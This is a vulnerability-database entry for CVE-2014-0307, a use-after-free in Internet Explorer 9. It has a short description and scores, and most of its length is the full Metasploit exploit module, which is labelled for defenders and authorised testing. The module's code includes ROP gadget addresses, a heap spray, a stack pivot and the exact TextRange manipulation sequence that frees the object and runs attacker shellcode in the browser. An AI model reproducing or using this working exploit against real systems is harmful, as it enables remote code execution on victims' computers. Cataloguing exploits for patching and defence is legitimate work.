CVE-2014-0307

critical

Published 2014-03-12 · Modified 2026-05-06

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CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

10.0

Description

Use-after-free vulnerability in Microsoft Internet Explorer 9 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a certain sequence of manipulations of a TextRange element, aka "Internet Explorer Memory Corruption Vulnerability."

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-32438 remote windows verified ruby · 5 KB

Metasploit · 2014-03-22

Microsoft Internet Explorer - TextRange Use-After-Free (MS14-012) (Metasploit)

ruby exploit Source: Exploit-DB

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS14-012 Internet Explorer TextRange Use-After-Free",
      'Description'    => %q{
        This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw
        was most likely introduced back in 2013, therefore only certain builds of MSHTML are
        affected. In our testing with IE9, these vulnerable builds appear to be between
        9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014
        (before the patch).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jason Kratzer', # Original discovery
          'sinn3r'         # Port
        ],
      'References'     =>
        [
          [ 'CVE', '2014-0307' ],
          [ 'MSB', 'MS14-012' ]
        ],
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script/i,
          :os_name => OperatingSystems::WINDOWS,
          :ua_name => HttpClients::IE,
          :office  => "2010"
          #:ua_ver  => '9.0' # Some fingerprinting issue w/ os_detect, disabled for now
        },
      'Targets'        =>
        [
          [
            'Automatic',
              {
                # mov eax,dword ptr [edx+0C4h]; call eax
                'Pivot' => 0x0c0d1020 # ECX
              }
          ]
        ],
      'Payload'        =>
        {
          'BadChars'       => "\x00",
          'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500
        },
      'DefaultOptions'  =>
        {
          'Retries'              => false, # You're too kind, tab recovery, I only need 1 shell.
          'InitialAutoRunScript' => 'migrate -f'
        },
      'DisclosureDate' => "Mar 11 2014", # Vuln was found in 2013. Mar 11 = Patch tuesday
      'DefaultTarget'  => 0))
  end

  # hxds.dll
  def get_payload
    setup =
    [
      0x51C3B376, # rop nop
      0x51C2046E, # pop edi; ret
      0x51BE4A41, # xchg eax, esp; ret
    ].pack("V*")

    # rop nops
    45.times { setup << [0x51C3B376].pack('V*') }

    setup << [
      0x51C2046E, # pop edi ; ret
      0x51BD28D4  # mov eax, [ecx], call [eax+8]
    ].pack('V*')

    p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})

    Rex::Text.to_unescape(p)
  end

  def exploit_html
    template = %Q|<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv='Cache-Control' content='no-cache'/>
    <meta http-equiv="X-UA-Compatible" content="IE=edge" >
    <script>
      <%=js_property_spray%>
      sprayHeap({shellcode:unescape("<%=get_payload%>")});

      function hxds() {
        try {
          location.href = 'ms-help:';
        } catch(e) {}
      }

      function strike() {
        hxds();
        var fake = "";
        for (var i = 0; i < 12; i++) {
          if (i==0) {
             fake += unescape("<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>");
          }
          else {
            fake += "\\u4141\\u4141";
          }
        }

        var elements = [
          'FOOTER', 'VIDEO', 'HTML', 'DIV', 'WBR', 'THEAD', 'PARAM', 'SECTION', 'IMG',
          'TIME', 'ASISE', 'CANVAS', 'P', 'RT', 'FRAMESET', 'TRACK', 'CAPTION'
        ];

        for (var i = 0; i < elements.length; i++) {
          var element = document.createElement(elements[i]);
          document.body.appendChild(element);
        }

        var tRange = document.body.createTextRange();
        tRange.moveToElementText(document.body.children[16]);
        tRange.execCommand('InsertInputSubmit', true, null);
        tRange.moveToElementText(document.body.children[0]);
        tRange.moveEnd('character',4);
        tRange.execCommand('InsertOrderedList', true, null);
        tRange.select();
        tRange.moveToElementText(document.body.children[0]);
        tRange.moveEnd('character',13);
        tRange.execCommand('Underline', true, null);
        tRange.execCommand('RemoveFormat', true, null);
        var fillObject = document.createElement('button');
        fillObject.className = fake;
      }
    </script>
  </head>
  <body onload='strike();'></body>
</html>
    |

    return template, binding()
  end

  def on_request_exploit(cli, request, target_info)
    send_exploit_html(cli, exploit_html)
  end

end

Metasploit modules

exploit_windows/browser/ms14_012_textrange rank 300

MS14-012 Microsoft Internet Explorer TextRange Use-After-Free

Source fetch failed: fetch_error — view the original via the link above.

Application impact

Vendor	Product	Versions	Fixed
microsoft	internet_explorer	`9`

References

CWEs

CWE-119 CWE-416

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.